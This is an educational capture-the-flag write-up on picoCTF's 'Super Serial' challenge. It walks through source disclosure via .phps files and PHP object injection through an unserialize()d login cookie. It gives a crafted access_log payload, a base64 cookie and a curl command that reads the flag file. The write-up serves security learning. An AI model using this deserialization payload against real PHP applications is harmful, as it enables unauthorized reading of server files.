## https://sploitus.com/exploit?id=C0DE924D-F90D-5547-BAB9-F12E4EAD6A4C
# picoCTF โ Super Serial
**Category:** Web Exploitation
**Difficulty:** Medium
**Points:** 130
**Event:** picoCTF 2021
**Author:** madStacks
**Flag:** `picoCTF{1_c4nn0t_s33_y0u_2fba20fa}`
---
## Challenge Description
> Try to recover the flag stored on this website.
Target: `http://wily-courier.picoctf.net:56173/`
---
## Vulnerability
**PHP Object Injection via Insecure Deserialization**
The application deserializes a user-controlled cookie (`login`) using PHP's `unserialize()` without any class whitelisting or input validation. The deserialized object is then used directly. When deserialization results in a type mismatch error, the `$perm` variable is cast to string inside the `die()` call โ triggering the `__toString()` magic method on whatever object was injected. This is exploited through the `access_log` class which reads arbitrary files in `__toString()`.
---
## Reconnaissance
### Step 1 โ robots.txt
Navigating to `/robots.txt` reveals a disallowed entry:
```
Disallow: /admin.phps
```
The `.phps` extension is significant. PHP servers configured with `phps` serve raw, syntax-highlighted PHP source instead of executing it. This is a source code disclosure primitive.
### Step 2 โ Source Code Disclosure via .phps
Three source files are readable by appending `.s` to the `.php` extension:
- `/index.phps`
- `/authentication.phps`
- `/cookie.phps`
**index.phps** confirms `cookie.php` is required on every page and reveals a redirect to `authentication.php` on successful login.
**cookie.phps** contains the vulnerable deserialization code:
```php
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
```
The critical observation: the `catch` block concatenates `$perm` into a string. PHP string concatenation on an object invokes `__toString()`. If `$perm` is not a `permissions` object, `is_guest()` throws, the catch fires, and `__toString()` is called on our injected object.
**authentication.phps** contains the `access_log` class:
```php
class access_log {
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
```
`__toString()` calls `read_log()` which calls `file_get_contents($this->log_file)` โ arbitrary file read. The `log_file` property is public and fully attacker-controlled via deserialization.
---
## Exploit Chain
```
Attacker crafts serialized access_log object
log_file = "../flag"
|
v
Base64 + URL encode -> set as "login" cookie
|
v
Server: unserialize() -> $perm = access_log{log_file: "../flag"}
|
v
Server: $perm->is_guest() -> Fatal Error (method does not exist on access_log)
|
v
catch(Error $e): die("Deserialization error. " . $perm)
|
v
String concatenation -> $perm->__toString() -> read_log() -> file_get_contents("../flag")
|
v
Flag is printed to response
```
---
## Serialized Payload
The PHP serialized representation of the `access_log` object targeting `../flag`:
```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```
Base64 encoded:
```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```
---
## Execution
### Manual โ curl
```bash
curl http://wily-courier.picoctf.net:56173/authentication.php \
--cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
```
**Response:**
```
Deserialization error. picoCTF{1_c4nn0t_s33_y0u_2fba20fa}
```
### Automated โ Python exploit script
```bash
python3 exploit/exploit.py --host wily-courier.picoctf.net --port 56173
```
See [`exploit/exploit.py`](exploit/exploit.py) for the full script.
---
## Screenshots
| Description | File |
|---|---|
| Challenge page | [`screenshots/challenge.png`](screenshots/challenge.png) |
| Exploit output in CyLab webshell | [`screenshots/exploit_output.png`](screenshots/exploit_output.png) |
**Challenge page:**

**Exploit output:**

---
## Source Files Referenced
| File | Role |
|---|---|
| `index.phps` | Entry point; requires `cookie.php`; redirects to `authentication.php` |
| `cookie.phps` | Vulnerable `unserialize()` on the `login` cookie |
| `authentication.phps` | Contains `access_log` class with `__toString()` file read gadget |
---
## Key Concepts
- **PHP Object Injection:** Supplying a crafted serialized string to `unserialize()` to instantiate an arbitrary class present in the application's codebase (a "gadget").
- **Magic Methods:** PHP's `__toString()` is automatically called when an object is used in a string context. The exploit reaches `__toString()` through the error handler's string concatenation.
- **`.phps` Source Disclosure:** A misconfigured PHP server exposes `.phps` files as source โ this was the prerequisite for identifying both the sink (`unserialize`) and the gadget (`access_log`).
- **Gadget Chain:** The full path from attacker input to arbitrary file read: injected object โ `is_guest()` TypeError โ `catch` string concat โ `__toString()` โ `read_log()` โ `file_get_contents()`.
---
## References
- [PortSwigger: PHP Deserialization](https://portswigger.net/web-security/deserialization)
- [PHP Manual: Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php)
- [PHP Manual: unserialize()](https://www.php.net/manual/en/function.unserialize.php)
---
*Writeup by [6876h9](https://github.com/6876h9)*